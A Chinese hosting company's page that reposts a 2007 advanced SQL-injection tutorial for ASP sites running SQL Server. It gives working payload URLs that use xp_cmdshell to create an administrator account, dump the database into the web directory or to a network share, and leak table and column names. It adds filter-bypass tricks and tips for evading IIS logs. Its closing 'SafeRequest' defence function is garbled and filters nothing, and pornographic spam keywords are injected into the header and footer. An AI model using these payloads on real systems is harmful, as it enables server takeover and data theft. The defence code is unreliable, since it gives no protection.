售房快車 售房客車 房屋租賃 牽線搭橋 供求信息 南陽人才網 文藝沙龍
 
域名注冊 虛擬主機 云服務器 企業云郵箱 網站制作 網站推廣 無紙辦公 成功案例
   
服務熱線:0377-63392646 13782137062
虛擬主機  
亚洲综合网国产福利精品一区 ,国产成人精品日本,一本久道热中字伊人
· 網 絡 學 院
·友情鏈接 更多>>>
標題:ASP漏洞全接觸-高級篇

 

  看完入門篇和進階篇后,稍加練習,破解一般的網站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請大家接著往下看高級篇。

  第一節、利用系統表注入SQLServer數據庫

  SQLServer是一個功能強大的數據庫系統,與操作系統也有緊密的聯系,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

  ①http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name password /add"--

  分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然后執行存儲過程xp_cmdshell,這個存儲過程用于調用系統命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

  ②http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup name administrators /add"--

  將新建的帳號name加入管理員組,不用兩分鐘,你已經拿到了系統最高權限!當然,這種方法只適用于用sa連接數據庫的情況,否則,是沒有權限調用xp_cmdshell的。

  ③http://Site/url.asp?id=1 ;;and db_name()>0

  前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是連接的數據庫名。

  ④http://Site/url.asp?id=1;backup database 數據庫名 to disk='c:\inetpub\wwwroot\1.db';--

  這是相當狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網絡地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

  ⑤http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0

  前面說過,sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲取?還是留給我們聰明的讀者思考吧。

  ⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名'),1) from sysobjects)>0

  從⑤拿到表名后,用object_id(‘表名')獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

  以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發方面的水平也得到很大的提高,呵呵,也許安全與開發本來就是相輔相成的吧。

  第二節、繞過程序限制繼續注入

  在入門篇提到,有很多人喜歡用'號測試注入漏洞,所以也有很多人用過濾'號的方法來"防止"注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數,達到繞過程序限制的目的。

  在"SQL注入的一般步驟"一節中,我所用的語句,都是經過我優化,讓其不包含有單引號的;在"利用系統表注入SQLServer數據庫"中,有些語句包含有'號,我們舉個例子來看看怎么改造這些語句:

  簡單的如where xtype='U',字符U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name='用戶',可以用where name=nchar(29992)+nchar(25143)代替。

  第三節、經驗小結

  1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

  2.在猜不到字段名時,不妨看看網站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。

  3.特別注意:地址欄的+號傳入程序后解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

  4.用Get方法注入時,IIS會記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。

  5.猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提高。

  SQL注入漏洞可謂是"千里之堤,潰于蟻穴",這種漏洞在網上極為普遍,通常是由于程序員對注入不了解,或者程序過濾不嚴格,或者某個參數忘記檢查導致。在這里,我給大家一個函數,代替ASP中的Request函數,可以對一切的SQL注入Say NO,函數如下:

  Function SafeRequest(ParaName,ParaType)
  --- 傳入參數 ---
  ParaName:參數名稱-字符型
  ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字符)

  Dim ParaValue
  ParaValue=Request(ParaName)
  If ParaType=1 then
  If not isNumeric(ParaValue) then
  Response.write "參數" & ParaName & "必須為數字型!"
  Response.end
  End if
  Else
  ParaValue=replace(ParaValue,"","")
  End if
  SafeRequest=ParaValue
  End function

  作者:eNet 出處:eNet硅谷動力

 

點擊[5043]次  發布日期: 2007-3-26 21:42:29    發布人:中國開網
:上一篇
  下一篇:

返回首頁 |公司簡介 |開網招聘 |支付說明 |行業新聞 | 聯系方式 |客服中心| 相關咨詢|廣告服務 |郵箱登錄

豫公網安備 41130302000019號


豫ICP備2024042951號

南陽市開網網絡技術有限公司◎0377-63392646

業務專線: 0377-63392646 1378217062

總部地址: 河南省南陽市車站路146號新城百樂大廈13樓12室

業務①QQ:401853676 客服①QQ:776288762 

Email:xuejinfu@kyxxw.com  

Copyright © 2025 南陽市開網網絡技術有限公司 ◇版權所有

中國開網旗下網站:
信息版:www.cjjyzz.com 
網絡版:www.cnkw.cn
成賣網:www.cmai.cn
開網PC手機微信APP小程序五合一網站
www.0377it.com
www.0377it.cn
主站蜘蛛池模板: 毛片亚洲AV无码精品国产午夜| 日本3p视频在线看高清| 成年人性生活免费视频| 五月婷在线视频| 欧美激情一区二区久久久| 全免费A级毛片免费看网站| 色综合a怡红院怡红院首页| 国产日韩在线视频| 3d动漫精品一区二区三区| 天天综合网天天综合色| 中国日本欧美韩国18| 日韩不卡视频在线| 亚洲伊人久久大香线蕉综合图片| 片成年免费观看网站黄| 午夜性a一级毛片| 足本玉蒲团在线观看| 国产精品国产亚洲精品看不卡| A∨变态另类天堂无码专区| 成人欧美日韩一区二区三区| 久久精品九九亚洲精品| 欧美日本高清在线不卡区| 亚洲精品欧美日韩| 精品久久久久久久久久中文字幕| 国产99久久精品一区二区| 麻豆精品视频入口| 够爽影院vip破解版| 一个人看的日本www| 无翼乌邪恶工番口番邪恶| 五月婷婷激情视频| 欧美日本国产VA高清CABAL| 伊人国产在线播放| 黄色大片免费网站| 国产精品一区二区久久| 99久久99这里只有免费费精品| 强行扒开双腿猛烈进入| 久久久久99精品国产片| 日韩免费毛片视频| 亚洲av第一页国产精品| 欧美日韩第一页| 亚洲精品无码专区在线播放| 精品一区二区三区自拍图片区|